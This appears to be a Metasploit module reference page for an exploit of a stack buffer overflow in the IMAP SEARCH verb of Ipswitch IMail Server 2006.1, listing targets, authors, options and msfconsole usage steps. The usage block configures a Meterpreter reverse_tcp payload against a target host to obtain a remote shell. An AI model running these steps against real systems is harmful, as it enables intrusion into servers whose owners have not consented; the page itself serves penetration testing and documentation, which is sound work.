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Ipswitch IMail IMAP SEARCH Buffer Overflow

This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution. In order for this module to be successful, the IMAP user must have at least one message.


Rank

  • Average

Authors

  • MC < mc [at] metasploit.com >

References


Exploit Targets

  • 0 - Windows 2000 Pro SP4 English (default)
  • 1 - Windows 2003 SP0 English

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Usage Information

$ msfconsole

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msf > use exploit/windows/imap/ipswitch_search
msf exploit(ipswitch_search) > show payloads
msf exploit(ipswitch_search) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ipswitch_search) > set LHOST [MY IP ADDRESS]
msf exploit(ipswitch_search) > set RHOST [TARGET IP]
msf exploit(ipswitch_search) > exploit


Module Options

IMAPPASS The password for the specified username
IMAPUSER The username to authenticate as
RHOST The target address
RPORT The target port (default: 143)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)